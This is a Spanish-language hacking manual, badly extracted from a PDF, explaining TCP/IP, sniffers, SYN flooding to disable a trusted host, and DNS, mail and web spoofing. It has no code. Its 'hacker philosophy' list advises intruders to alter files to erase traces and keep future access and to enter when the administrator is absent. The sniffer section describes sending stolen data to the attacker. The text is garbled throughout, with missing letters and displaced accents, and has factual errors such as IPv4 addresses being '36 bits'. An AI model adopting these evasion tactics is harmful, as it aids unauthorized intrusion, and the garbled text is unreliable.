Anda di halaman 1dari 59

MAIN SECURITY TEAM WWW.MULTIMANIA.

COM/MAINSECUIRTYTEAM

LA SEGURIDAD VISTA TRAS LOS OJOS DEL HACKER


BELZEBU
Abstract En este manual se explicarn algunas de las tcnicas mas usadas por los hackers para ingresar en computadores a e remotos, Tambin se explicarn algunos trminos necesarios para la comprensin de estas tcnicas, las cuales servirn e a e o e a de apoyo Para poder brindar mayor seguridad a nuestras redes y/o sistemas operativos. Keywords Hackers, redes, seguridad,TCP/IP, linux, windows, t`cnicas hackers, comandos basicos de unix. e

I. CONTENIDO 1. 2. 3. 4. 5. Introduccin o Terminolog bsica a a Sniers Ataque D.O.S. (denial of service) Spooers DNS - spoong Fake-mail Web Spoong IP spoong 6. Bugs en CGIs 7. Bugs en S.O. y exploits 8. Backdoors 9. Contraseas (encriptacin, contraseas en shadow) n o n 10. Ingenier social a 11. Programas con nes hack 12. Conguracin de Software o 13. Comandos Tracert, Whois, Telnet, Ftp, Finger, Ssh II. INTRODUCCION Solo un hacker atrapar a un hacker Esta celebre frase, muy comn en analistas de seguridad y a u en el mundo hacker, por s sola explica el porqu de este art e culo. Pretendo brindar con este articulo una guia en la que los newbies puedan basarsen y los as expertos puedan recordar tecnicas dehack. Al hablar de hackers surgen preguntas como: Dnde estn? o a Quienes son? Dnde viven? o Que tecnicas usan? Dnde estudian y qu estudian? o e Dnde trabajan? o Todos los hackers son malos? Cmo me puedo defender de ataques malintencionados o no deseados? o

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

III. TERMINOLOGIA BASICA Estos son algunos trminos y deniciones necesarios para la comprensin de este documento. e o A. HACKER Un hacker es una persona que estudia y tiene mucho conocimiento de computadores. Dicho conocimiento lo utiliza para entrar en redes donde no es miembro. Los hackers se dividen en dos:

Hackers buenos: Son aquellos que usan su conocimiento sobre computadores en labores de seguridad, aportando nuevas ideas que ayudan a mejorar los computadores y las redes, entre otras labores. En este grupo se encuentran los analistas de sistemas, los programadores y desarrolladores de software de seguridad, y principalmente todo aquel hacker que luche por la libertad de expresion y conocimiento

Hackers malos: Son aquellos que usan su conocimiento para destruir redes, sistemas, informacin; o lo hacen con nes lucrativos, para robar ideas de terceros o por simple delincuencia. Los hackers (los buenos) se basan en una losof que bsicamente es: a a 1.No hay que hacer acciones que perjudiquen a terceras personas. 2.No hay que dar nunca nuestros datos personales en ningn sitio. u 3.No hay que ingresar en sistemas gubernamentales. 4.No hay que dar datos a nadie del sistema en el que estamos ingresando. 6.Modicaremos solo los archivos que borren nuestras huellas y los que nos permitan un futuro acceso. 8.No hay que estar ms de dos horas conectado a un sistema cuando se es root. a 9.Ingresaremos cuando estemos seguros de que el administrador del sistema no est delante del come putador. B. HACKING tcnicas de entrada de forma ilegal a un servidor o sistema con el nimo de obtener informacin, sieme a o pre y cuando esto se use con nes educativos no de diversin, NUNCA para aduearse de conocimientos o n que no son nuestros o con nimo de lucro. Estos actos no son necesariamente destructivos para la a informacin, ni tampoco es necesaria la instalacin de virus. No obstante no es extraa la instalacin o o n o de Caballos de Troya para disponer de cdigos de acceso. o C. CRACKER Es uno de los derivados del hacker el cracker se especializa en romper paswords, registros de programas (para evitar pagar las licencias de los mismos), o cdigos de acceso, es alguien que conoce bastante o de lenguaje ensamblador. D. CRACKEADOR Programa capaz de sacar las claves de acceso encriptadas de los cheros de passwords. Bien desencriptandolos, cuando se puede, o bien probando mltiples combinaciones hasta que encuentra la u correcta.

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

E. NEWBIE Novato. Se dedica a leer, escuchar, ver y probar las distintas tcnicas que va aprendiendo. Slo e o pregunta a otros hackers, despus de d de pruebas sin resultado, de manera que ms que preguntar, e as a expone su experiencia y pide opiniones o deja en el aire preguntas muy concretas. F. DAEMOND As se conocen los programas que corren en un servidor o PC este trmino se usa ms a menudo e a para referirse a software de sistemas tipo UNIX. G. EXPLOITS Las exploits son programas que se aprovechan de un agujero de seguridad(BUG) que tenga un sistema operativo o algn programa que all corra(daemond) para permitir el acceso al sistema operativo u como root o simplemente sacar un servidor de l nea. H. ATAQUES D.O.S. Un ataque D.O.S. (denegacin de servicio) es cuando se oodea a un servidor para que no pueda o recibir mas clientes pero sin quede o-line esto lo veremos mas afondo en cap tulos posteriores. I. FLOODING Floodear un servidor es simplemente la base del ataque D.O.S. lo que se hace es mandar muchos intentos de conexione hasta rebasar e limite de conexiones esta tcnica ser explicada mas ampliamente e a en la seccin de spoong. o J. TCP/IP Son 2 protocolos de red cabe aclarar que TCP e IP no son el mismo, y aparte de estos dos existen mas protocolos como ARP empleado en redes de INTRANET, el RARP, el ICMP y el UDP. estos protocolos son los que marcan la arquitectura usada por programas como telnet, http, smtp, pop etc. Vale la pena hacer una diferencia entre el TCP y el UDP que tanto o mos nombrar ( son los protocolos mas usados). El protocolo TCP es un protocolo de transporte orientado a conexiones y el UDP es un protocolo de transporte que no hace conexiones simplemente mete los datos en un data grama y no importndole si a el computador destino este activo o no env el data grama por la red como podrn ver para el UDP a a no importa mucho si en verdad ese data grama llega a su destino. J.1 DIRECCIONAMIENTO De este se encarga la capa IP del modelo TCP/IP, las direcciones IP estn formadas por 4 bytes ( a 36 bits) y son expresadas por 4 nmeros decimales separados por puntos, tambin se les conoce como u e direcciones lgicas. o ejemplo de direccin IP: 200.32.208.2 o

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

Este numero o direccin IP es unica en el mundo, es decir no hay 2 PCS en el mundo conectadas a o una misma red (por ejemplo en Internet) con la misma direccin IP, el porque es simple este numero o es lo que identica cada PC o servidor, pero bien si para los computadores es fcil entender y recordar a estos nmeros para los humanos no, entonces lo que hicieron fue asignar un nombre lgico que los u o humanos puedan asimilar a este nombre le llamaron host o nombre de dominio por ejemplo: WWW.UNIQUINDIO.EDU.CO Aunque las aplicaciones necesitan conocer las direcciones lgicas por ejemplo: o host= www.uniquindio.edu.co IP= 200.65.35.12 Donde el host es lo que el usuario ver en el browser del explorador de Windows por nombrar algn a u cliente http. y 200.65.35.12 seria la direccin que el explorador de Windows reconocer A simple o a. vista se ve que para un humano es ms fcil memorizar www.uniquindio.edu.co que ese montn de a a o nmeros. u En UNIX encontramos el chero etc/hosts donde se encuentran las traducciones de estos nombres lgicos a direcciones lgicas o ip, pero si no tenemos este chero en nuestro PC que? o o Cuando esto sucede la aplicacin acude a un servidor de red congurado como servidor de nombres o ms conocido como servidor DNS. a Estos nombres lgicos y su correspondiente direccin ip son asignados por los NICs (network inforo o mation center) que hay por todo el mundo esto impide que la gente se ponga cualquier IP y/o cualquier nombre de dominio (esto seria un caos varios computadores tendr la misma direccin y si env an o as informacin a yahoo.com y hay 100 servidores que se llaman yahoo.com cual la recibir?). La auo a toridad mxima responsable del espacio de nombres en Internet es IANA (Internet Assigned NUmber a Autohity) puedes averiguar mas en http://www.iana.org luego esta INTERNIC que por delegacin de o IANA es la encargada de la asignacin de dominios genricos com, net, org, mil, edu, int. Si quieres o e saber ms de INTERNIC su direccin es http://www.internic.com a o J.2 COMO SE DIVIDEN LAS DIRECCIONES LOGICAS Hay tres clases: A: Donde el primer bit es 0, los 7 siguientes de red y los 24 siguientes para ser asignados al host de manera que se identique en la red. B: La direccin empieza por 10, hay 14 bits dedicados a la identicacin de la red, y los 16 restantes o o como en el caso anterior son empleados para identicar al host, sea darle un nombre. o C: la direccin comienza por 110 , hay 21 bits dedicados a la informacin de la red y los 8 restantes o o al host. J.3 PROTOCOLO IP El protocolo Ip no es able para enviar datos a trabes de la red porque usa el servicio sin conexin o por esto es muy probable que los paquetes no lleguen donde queremos ya que no se establece ninguna

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

conexin con el receptor, prcticamente tiramos los paquetes a la red y esta se encarga de llevarlos y o a no nos enteramos si llegaron o no. Como dijimos antes estos paquetes que se env se conocen como data gramas, un data grama no an puede tener mas de 64k de longitud lo que nos indica que para enviar algo de mas de 65k esto debe ser partido en pedacitos de 64k (data gramas), otro problema es que los data gramas viajan por distintos caminos as que lo mas probable es que lleguen en desorden si es que llegan. As se ver un data grama en una red ethernet: a Preambulo Direccin de o destino Direccin de o origen Tipo de servicio Datos CRC

TABLA I DATA GRAMA

Ahora veamos como seria la cabecera de un data grama: Donde: 1. Versin: Nos indica la versin del protocolo. o o 2. Longitud: La longitud de la cabecera del data grama o del fragmento del data grama, lo mediremos en palabras de 32 bits. 3. Total longitud: la longitud del data grama. 4. Tipo de servicio: esta conformado por un byte, sea 8 bits as o : Donde: Prioridad: En este campo se indica que data gramas tienen que ir antes, por ejemplo imagina un usuario enviando un paquete a un servidor, esto indicar que prioridad tiene ese usuario conectado a frente a los dems usuarios, es decir que prioridad de llegada tienen sus paquetes. a El router analiza los bits D, T y R; Si D=1 el data grama ha de ser enviado con el menor retraso posible; Si T=1 el data grama esta pidiendo alta velocidad de transmisin, es decir le pide al router o que escoja el camino mas rpido; Si R=1 solicitamos que el data grama sea enviado por el camino con a menos errores. 5. identicacin: Todos los data gramas llevan un numero de identicacin diferente al fragmeno o tarsen en data-gramas mas peque nos cada uno llevara la identicacin del data grama inicial ( 16 o bits). 6. Flags: A pesar que se tienen reservados 3 bits para estos solo se usan 2 bits, donde el primer bit indica si el data grama se puede fragmentar o no y el segundo bit indica si el fragmento de data grama es el nal del data grama original.

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

Versin o

Longitud

Tipo de servicio

Total longitud

Identicacin o

Flags

Desplazamiento

Tiempo de vida

Protocolo

CRC cabecera

Direccin fuente o

Direccin destino o

Opciones

Relleno

Datos
TABLA II Formato de una cabecera de data grama

Prioridad

R
TABLA III Tipo de servicio

No usado

7. Desplazamiento: Indica el desplazamiento o posicin, como esta llegando una lista de trocitos o aqu se iran ordenando. 8. Tiempo de Vida: Cuando un data grama se pierde no se queda andando por la red hasta el n de los tiempos, esto no sucede porque al pasar por cada router este le decrementa su tiempo de vida hasta que algn router lo mata agotando su tiempo de vida. u 9. Protocolo: Indica a que tipo de datos pertenece el data grama por ejemplo: Si es 1 pertenece a ICMP. Si es 6 a TCP. Si es 17 a UDP. 10. Opciones: Aqu se meten las funciones de mantenimiento del data grama, pero generalmente no lleva nada. 11. Relleno: Como las cabeceras deben ser de 32 bits aqu se deja un espacio para meter relleno y completar estos 32 bits. 12. Datos: Son los datos que estas mandando.

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

J.4 PROTOCOLO ICMP Protocolo de control de mensajes orientado a Internet. Es un protocolo para los mensajes de error, cuando enviamos un paquete y este es rechazado el computador destino nos avisara del error usando este protocolo. Los mensajes se encapsulan dentro de un data grama IP. J.5 PROTOCOLO ARP El protocolo ARP sirve para conocer las direcciones ethernet de otros computadores, lo que hace es enviar un mensaje a la direccin del broadcast preguntando quien tiene la direccin IP que estamos o o buscando, el receptor contestara con su direccin ethernet. o J.6 ESTABLECIENDO UNA CONEXION TCP: Para poder intercambiar datos usando TCP, los hosts deben establecer una conexin. TCP establece o una conexin siguiendo un proceso de 3 pasos llamado el Saludo de las 3 direcciones. Si la mquina o a A est utilizando un cliente de rlogin y desea conectar a un daemon de rlogin en la mquina B, el a a proceso es el siguiente:

Fig. 1. conexion TCP

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

En (1) el programa cliente le est diciendo al servidor que quiere una conexin. Este es el unico a o propsito del indicador SYN. El cliente le est diciendo al servidor que el campo de secuencia numrica o a e es vlido, y que deber ser comprobado. El cliente congurar el campo de secuencia numrica en a a a e la cabecera TCP a su ISN (Initial Sequence Number, nmero inicial de la secuencia). El servidor, u al recibir este segmento (2) responder con su propio ISN (por lo tanto el ag SYN est activado) y a a una autenticacin (ACK) del primer segmento enviado por el cliente (que ser el ISN-del-cliente + o a 1). El cliente entonces ACKea (autentica) el ISN del servidor (3). Ahora ya puede tener lugar la transferencia de datos. K. TRUSTED HOST En el mundo del Unix, la conanza se da fcilmente. Digamos que se tiene una cuenta en el sistema a A, y otra en la mquina B. Para facilitar ir de una a la otra con un m a nimo esfuerzo, se desea establecer una relacin o unin entre ambas. En tu directorio home en A creas un archivo .rhosts: echo o o B nombre-de-usuario /.rhosts En tu directorio home en B creas otro archivo .rhosts: echo A nombre-de-usuario /.rhosts (Como alternativa, el root puede establecer una conguracin similar o en /etc/hosts.equiv, la diferencia est en que entonces ser a nivel del host entero, no slo a nivel a a o individual.) Ahora, se puede usar cualquiera de los comandos r* sin necesidad de tener que perder el tiempo con vericaciones de passwords. Estos comandos permitirn la autenticacin en base a las a o direcciones, lo que ofrecer o negar el acceso dependiendo de la direccin IP del solicitante. a a o L. RLOGIN Es un simple protocolo cliente-servidor que utiliza TCP como medio de transporte. Rlogin permite a un usuario identicarse (hacer login) remotamente desde un host a otro, y, si el host objetivo conf a en el otro(Trusted-host) no nos pedir ningn password. En lugar de esto habr comprobado la idena u a tidad del cliente (nosotros) analizando nuestra direccin IP. Por tanto, como en el ejemplo de arriba, o podemos usar rlogin para hacer login remotamente desde A a B (o viceversa) y no nos pedirn ningn a u password. M. NUMEROS SECUENCIALES, IDENTIFICACIONES Y OTRAS INDICACIONES Dado que TCP posee una seguridad bastante aceptable, debe ser capaz de recuperar datos perdidos, duplicados, o fuera de servicio. Asignando una secuencia de nmeros a cada byte transmitido, y u requiriendo una identicacin para cada uno recibido del extremo opuesto, TCP puede garantizar una o transmisin sin errores. El extremo receptor utiliza la secuencia de nmeros para asegurar el orden o u correcto de los datos y eliminar bytes duplicados. Los nmeros secunciales del TCP se pueden imaginar como contadores de 32-bits. Se encuentran u e en un rango desde el 0 hasta el 4.294.967.295. Cada byte de datos intercambiado en una conexin o TCP (junto a otros indicadores) va secuenciado. El campo del nmero secuencial en la cabecera TCP u contendr el nmero secuencial correspondiente al primer byte de datos en el segmento TCP. El a u campo del nmero de identicacin (ACK) en la cabecera TCP muestra el valor del siguiente nmero u o u secuencial esperado, y tambin identica todos los datos hasta este nmero de ACK menos uno. e u Para el control del ujo, TCP env un paquete para decirle al otro extremo cuntos datos puede a a buear. Dado que este paquete es de 16 bits, se puede noticar un mximo de 65535 bytes. El objetivo a de este mtodo es enviar una noticacin desde un TCP al otro sobre la amplitud de la secuencia de e o

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

nmeros a emplear de manera que sea aceptable. u Otros indicadores en la cabecera TCP a mencionar son RST (reset), PSH (push) and FIN (nish). Si se recibe un RST, se corta inmediatamente la comunicacin. Los RSTs se env normalmente o an cuando un extremo recibe un segmento que simplemente no tiene relacin con la conexin que est o o a establecida . El indicador PSH le dice al receptor que pase tan pronto como sea posible todos los datos que se han ido almacenando a la aplicacin correspondiente. El indicador FIN es la mano era en que una aplicacin comienza el amable cierre de la conexin . Cuando un extremo recibe un o o FIN, lo ACKea (autentica) y ya no espera recibir ms datos (sin embargo el env es todav posible). a o a N. El ISN Y EL INCREMENTO DE LOS NUMEROS SECUENCIALES Es importante entender cmo son elegidos los nmeros secunciales inicialmente, y cmo cambian o u e o con respecto al tiempo. El nmero secuencial inicial se cambia a 1 cuando el host se inicializa. (TCP u llama a esta variable tcp iss dado que se trata del nmero secuencial inicial de env (inicial send u o sequence number). La otra variable de nmero secuencial, tcp irs es el nmero secuencial inicial de u u recepcin (initial receive sequence number) y se establece al crearse la conexin de 3 direcciones que o o tratamos antes. Pero no nos vamos a preocupar por las distinciones entre las dos variables). Esto da a entender un error, y se autentica como tal con el correspondiente comentario en la funcin tcp init() o de dnde aparece. El ISN se incrementa en 128.000 cada segundo, lo que provoca que el contador de o ISN de 32-bits quede agotado cada 9.32 horas si no se establece ninguna conexin. Sin embargo, cada o vez que se establece un connect(), el contador es incrementado en 64.000. Esto es as por una importante razn, y es hacer m o nimo el riesgo de que datos de una vieja conexin (quiero decir, desde el mismo cuarteto de direcciones-IP y puertos TCP locales y remotos) de o la conexin actual pueda llegar y daar las cosas. Aqu se aplica el concepto del tiempo de espera de o n 2MSL, pero no lo analizaremos porque no es importante para nuestro n. Si los nmeros secunciales u e fuesen elegidos al azar cuando llega una conexin, no se podr garantizar que esos nmeros secunciales o a u e fuesen distintos de los empleados en una conexin anterior. Si una porcin de datos quedase retenida o o en mitad de su recorrido y despus consiguiese llegar a su destino interriendo con el reenv de la e o vieja conexin, abr un gran problema. o a O. PUERTOS Para garantizar el acceso simultneo al mdulo de TCP, TCP provee un interfaz de usuario llamado a o puerto. Los puertos son utilizados por el kernel para identicar procesos de red. Y stos son estrictae mente entidades de transporte. Junto a una direccin IP, un puerto TCP forma lo que hemos llamado o extremo de una comunicacin de red. De hecho, en un momento dado cualquier conexin de Internet o o puede ser descrita por 4 nmeros: la direccin IP de inicio y su puerto , y la direccin IP de destino u o o y el correspondiente puerto de destino. Los servidores suelen ceirse a puertos corrientes para que n puedan ser localizados a travs de puertos estndar en sistemas diferentes. Por ejemplo, el daemon de e a rlogin se encuentra en el puerto TCP 513. IV. SNIFFERS Un snier es un programa cuyo n es atrapar paquetes que viajan por la red para luego analizarlos y poder obtener contraseas e incluso mensajes de correo electrnico. n o

10

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

La forma ms habitual de sning es la que se hace por software donde se utiliza un programa que a captura informacin de la red. o Tambin se podr hacer sning por hardware donde pinchar e a amos un cable y capturar amos lo que pase por el, ahora con las redes inalmbricas se puede poner un dispositivo receptor de radio que a intercepte estas seales, claro se necesitan amplios conocimientos sobre informtica y electrnica. n a o Vale la pena aclarar que un snier no es un software mgico que captura paquetes en toda la red no, a un snier captura los paquetes que pasan por el computador donde este instalado estos programas son mas ecaces si los usamos en una red de rea local LAN con una topolog de bus. Otro ambiente para a a los sniers son los computadores victimas, es decir, si tenemos acceso a nuestra victima instalamos el snier en su computador y as podremos conocer informacin que nos permita tener acceso a otros o computadores a las que se conecte nuestra victima. Los sniers funcionan por la sencilla razn que muchos de los protocolos de acceso remoto a los como putadores transmiten las contraseas como texto plano y por tanto podemos conocer esta informacin n o y tener acceso ilegitimo a un computador.

A. ANALIZADOR DE PROTOCOLO Un analizador de protocolos es un snnifer al cual se le ha dado funcionalidad suciente como para entender y traducir los protocolos que se estn hablando en la red. Se diferencia del snier porque es a ms comercial y no muestra claves de acceso. a

B. TOPOLOGIA DE ESTRELLA Es un mtodo efectivo para evitar los sniers ya que todos los computadores estn conectadas solo e a a un hub, y si el hub instalado es del tipo inteligente, el snier no servir de nada porque el hub sabr a a donde esta cada computador as cuando llega un paquete este lo reenv por el cable de ese computador a y un snier ubicado en otro computador no podr ver esta informacin. a o Pero si el hub es no inteligente este retransmitir el paquete a todas los computadores y el snier a podr atraparlo. a

C. MODO PROMISCUO Cuando una tarjeta de red es congurada en modo promiscuo captura todos los paquetes que pasan por delante de el. Para saber si un adaptador de red esta en modo promiscuo podremos usar un programa llamado ifcong. Este programa permite congurar y obtener informacin de los adaptadores o de red instalados en un computador. Cuando un adaptador de red se encuentra en modo promiscuo ifcongh nos informa de ello, entonces lo que har el intruso es al entrar en el sistema y colocar el snier sustituir este programa por otro a a que omita la parte de entregar informes sobre el modo promiscuo de la interfaz de red. Aunque en los kernel modernos podemos sacar bastante informacin sobre los dispositivos de red en cheros/proc . o

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

11

D. CAPTURA DE PAQUETES En general los sniers capturan paquetes de la red. En una Lan con topolog de bus se pueden a capturar paquetes de todos los computadores al igual que con los hubs no inteligentes. Pero tambin e sabemos que este tipo de programas pueden ser usados en cualquier entorno claro esta con repercusiones menores pero por pequea que sea es una falla de seguridad la cual hay que atender o aprovechar. n Cuando el atacante instala el snier en el computador victima podr tomar informacin de las a o conexiones que la victima hace obteniendo valiosa informacin a la cual puede acceder congurando o el snier para que este envi peridicamente estos datos a una direccin de correo electrnico o habr e o o o a un puerto para que el atacante se conecte directamente con el snier y descargue la informacin. Esta o tcnica se respaldara con mtodos de ocultacin de procesos y conexiones de red. e e o E. UN POTENTE ALIADO Independiente de los usos ileg timos de los sniers estos son una potent sima herramienta para el hacker . Al hablar de ataques DOS o negacin de servicio vemos como estos ataques se basan en modicar o la cabecera de los protocolos de red tcp/ip (spoong ) con nes destructivos y para construir ese tipo de paquetes usamos lo que se conoce como sockets draw. Bien, los sniers suelen trabajar en este mismo nivel, de tal forma que no slo capturan la inforo macin asociada a los protocolos de aplicacin como FTP o TELNET, sino que capturan paquetes o o raw y, por lo tanto, toda la informacin contenida en las cabeceras TCP e IP. o Muchas de estas herramientas disponen de la capacidad de interpretar estas cabeceras, e incluso las cabeceras asociadas a protocolos que se en encuentra por debajo de IP, y mostrarlas de forma ms sena cilla de interpretar para los seres humanos. Cuando los sniers se utilizan de esta forma son llamados Analizadores de protocolo. Si bien, esta palabra designa a un gran conjunto de herramientas (algunas incluso hardware). Utilizados de esta forma, resultan una herramienta extremadamente potente para comprender en profundidad el funcionamiento de los protocolos de comunicaciones y permitir visualizar, localizar y obtener una solucin para ataques remotos. o F. ALGUNOS SNNIFERS Veremos algunos de los snnifers mas conocidos no los mencionaremos todos porque seria casi imposible, cabe destacar que los sniers aqu mencionados son para sistemas tipo UNIX F.1 TCPDUMP Es uno de los mas conocidos y quizs de los primeros snnifers , este programa una vez lanzado a captura todos los paquetes que llegan a nuestro computador y muestran por pantalla informacin o relacionada con esta. Funciona en modo consola y tiene gran cantidad de opciones para mostrar la informacin aunque es dif de congurar. o cil Su principal funcin es hacer un debug de problemas de red por ello la mayor de distribuciones o a linux aun lo traen.

12

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

F.2 SNNIFIT Tiene varias opciones de ltrado de paquetes, convierte la carga de paquetes a formato ASCII para una comprensin mas fcil de los datos ( se ven como en una seccin de telnet) tambin dispone de o a o e un modo graco agradable para el usuario ya que nos permite monitorear la red y las conexiones. F.3 ETHEREAL Es un analizador de protocolos, su interfaz es similar al analizador de red del Windows NT . Este software nos permite una sencilla vista de la carga de paquetes de los diversos protocolos de red (ftp, http, netbios, etc.) , este programa esta basado en GTK as que se recomienda tener el gnome funcio nando para ejecutarlo. F.4 SNORT Este snnifer es muy util para detectar diferentes tipos de ataque ya que puede vigilar actividades como escaneos mediante huellas de tcp-ip con el Queso, escaneos con nmap y similares. F.5 SPY Es un snnifer multi protocolo que funciona en diferentes plataformas, el problema es que no es gratuito cuesta alrededor de 6000 dlares pero solo pro su precio se ve lo bueno de este software. o F.6 LINSNIFER Es sencillo y directo se caracteriza por atrapar contraseas y nombres de usuarios. n G. MEDIDAS A TOMAR Como vimos anteriormente una topolog tipo estrella con concentradores inteligentes es una muy a buena opcin para evitar sniers, otra opcin es instalar controladores de red que no permitan ser o o congurados en modo promiscuo aunque no es muy recomendable ya que algunos administradores usan los sniers para monitorear la red. El comando ifcong nos permite saber si algn dispositivo de red se encuentra en modo promiscuo u aunque este comando puede ser modicado as que es mejor tener una versin limpia del programa. o Otra medida es la encriptacin para que si los datos son capturados su interpretacin sea virtualo o mente imposible. V. D.O.S. (ataques denegacion de servicio Este tipo de ataques son muy comunes en internet y en el mundo hack tienden a ser considerados como actos de un lammer; puesto que los ataques DOS encierran nombres como mail-bombing y otros ataques molestos ke repito son considerados como ataques lammers. En este capitulo veremos una vision mas poetica de los ataques DOS digo poetica porque esta tecnica en particular de ataque de negacion de servicio sera empleada mas adelante en otras tecnicas.

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

13

Ahora explicare el SYN FLOODING: Una conexin TCP se inicia cuando un cliente hace una peticin a un servidor con el SYN ag o o activado en la cabecera TCP. Normalmente el servidor devolver un SYN/ACK al cliente identicado a por la direccin de 32-bits en la cabecera IP. El cliente enviar entonces un ACK al servidor (como o a ve amos en g1.(conexion tcp)) y la transferencia de datos podr comenzar. Sin embargo, existe a un l mite mximo de las peticiones de SYN concurrentes que TCP puede procesar para una determia nada conexin. Este l o mite se denomina backlog y es la longitud de la cola donde se almacenan las conexiones entrantes (por tanto todav incompletas). Este l a mite de la cola tiene en cuenta el nmero u de conexiones incompletas (el saludo de 3 direcciones est incompleto) y el nmero de conexiones a u completadas que han sido sacadas de la cola por la aplicacin correspondiente por medio del sistema o de llamada accept(). Si este l mite backlog se alcanza, TCP desechar en silencio todas las peticiones a de SYN hasta que las conexiones pendientes puedan ser resueltas. Este es el objetivo de la cuestin. o El host atacante env varias peticiones de SYN al puerto TCP que se desea desactivar. Este host a tambin debe asegurarse de que la direccin-IP del origen sea cambiada por otra, en este caso un host e o inalcanzable (el TCP del host objetivo enviar su respuesta a esta direccin. (IP puede informar al a o TCP de que el host no es alcanzable, pero TCP considera que estos errores son temporales y deja la resolucin de ellos al IP (reenrutar los paquetes, etc.) , quien en efecto los ignora). La direccin-IP o o debe ser inalcanzable porque el atacante no desea que ningn host reciba los SYN/ACKs que llegarn u a enviados por el TCP del host objetivo (si lo anterior sucediese, dar como resultado un RST que se a enviar al TCP del host objetivo, lo que anular nuestro ataque). El proceso es as a a :

14

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

Fig. 2. paso 1 de la desactivasion del truste-host

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

15

Fig. 3. paso 2 de la desactivasion del truste-host

En (paso 1) el host atacante env un gran nmero de peticiones SYN al objetivo (recuerda que el a u objetivo en esta fase del ataque es el trusted-host) para llenar su cola de backlog con conexiones pendientes. (paso 2) El host objetivo responde con SYN/ACKs a lo que l cree es el origen de los SYNs que le e llegan. Durante todo esto todas otras peticiones a este puerto TCP sern ignoradas. a Diferentes implementaciones de TCP poseen tamaos de backlog distintos. BSD generalmente tiene n un backlog de 5 (Linux tiene un backlog de 6). Pero adems existe un margen de 3/2. Esto es, TCP a permitir un nmero de conexiones de hasta backlog*3/2+1. Esto har posible una conexin incluso a u a o si el backlog seala 0. n

16

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

VI. SPOOFERS Este tipo de ataques (sobre protocolos) suele implicar un buen conocimiento del protocolo en el que se va a basar el ataque. Consiste en sustituir la fuente de origen de una serie de datos (por ejemplo, un usuario) adoptando una identidad falsa para engaar a un rewall o ltro de red. Los ataques n Spoong ms conocidos son el IP Spoong, el DNS Spoong , el Web Spoong y el fake-mail. a

A. DNS SPOOFING Sustituir a un servidor DNS (Domain Name Servidor) o dominio. Se usan paquetes UDP y afecta a sistemas bajo Windows NT. Se aprovecha de la capacidad de un servidor DNS resolver una peticin o de direccin IP a partir de un nombre que no gura en su base de datos, ya que ste es su mtodo de o e e trabajo por defecto.

B. FAKE-MAIL Es otra forma de spoong y consiste en el env de e-mails con remitente falso. Aqu el atacante o env E-Mails en nombre de otra persona con cualquier motivo y objetivo. Muchos de estos ataques a se inician utilizando la Ingenier Social para hacerse con el nombre y contrasea de una v a n ctima. Tambin se puede hacer entrando v telnet por el puerto 25 de un ordenador que corra un servidor e a de correo claro no cualquier servidor sirve para esto ya que servidores como Hotmail pondrn en la a cabecera del mensaje nuestra direccin IP. o

C. WEB SPOOFING El Web Spoong permite a un atacante la creacin de una shadow copy DE TODAS LAS o PAGINAS DE LA WEB. Los accesos a este sitio estn dirigidos a travs de el computador del ataa e cante, permitindole monitorear todas las actividades que realiza la victima, desde los datos que se e pueda escribir en un simple formulario, hasta sus passwords, su numero de tarjeta, etc. El mtodo consiste en que el atacante crea un falso (pero convincente) mundo alrededor de la vice tima, y la victima cree que es su sitio habitual . El falso Web se parece al verdadero, tiene las mismas paginas, links... En denitiva, el atacante es quien controla el falso Web, as pues, todo el trco a entre el navegador de la victima y el verdadero Web pasa a travs del programa ltro que program e o el atacante. Desafortunadamente, las actividades que parecen ser razonables en el mundo imaginario suelen ser desastrosas en el mundo real. Las personas que usan Internet a menudo toman decisiones relevantes basadas en las seales del n contexto que perciben. Por ejemplo, se podr decidir el teclear los datos bancarios porque se cree a que se esta visitando el sitio del banco. Esta creencia se podr producir porque la pagina tiene un a parecido importante, sale su url en la barra de navegacin, y por alguna que otra razn mas. o o Como el atacante tiene el control de la conexin, puede observar, e incluso modicar cualquier dato o que vaya entre la victima y el verdadero Web, tiene muchas posibilidades de salirse con la suya. Esto incluye Vigilancia y Manipulacin. o

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

17

C.1 VIGILANCIA El atacante puede mirar el trco de una manera pasiva grabando las pginas que visita la victima, a a y su contenido, como por ejemplo todos los datos que aparezcan en los formularios cuando la respuesta es enviada de vuelta por el servidor. Como la mayor del comercio electrnico se hace a travs de a o e formularios, signica que el atacante puede observar cualquier numero de cuenta o passwords que la victima introduce. C.2 MANIPULACION El atacante tambin es libre de modicar cualquiera de los datos que se estn transmitiendo entre e a el servidor y la victima en cualquier direccin. Por ejemplo, si la victima esta comprando un producto o on-line, el atacante puede cambiar el numero, la cantidad, la direccin del remitente ... tambin le o e podr engaar a la victima envindole informacin errnea, por parte del servidor para causar antaga n a o o onismo entre ellos. Un ejemplo en la gura 2.

18

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

Fig. 4. Ataque Web Spoong

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

19

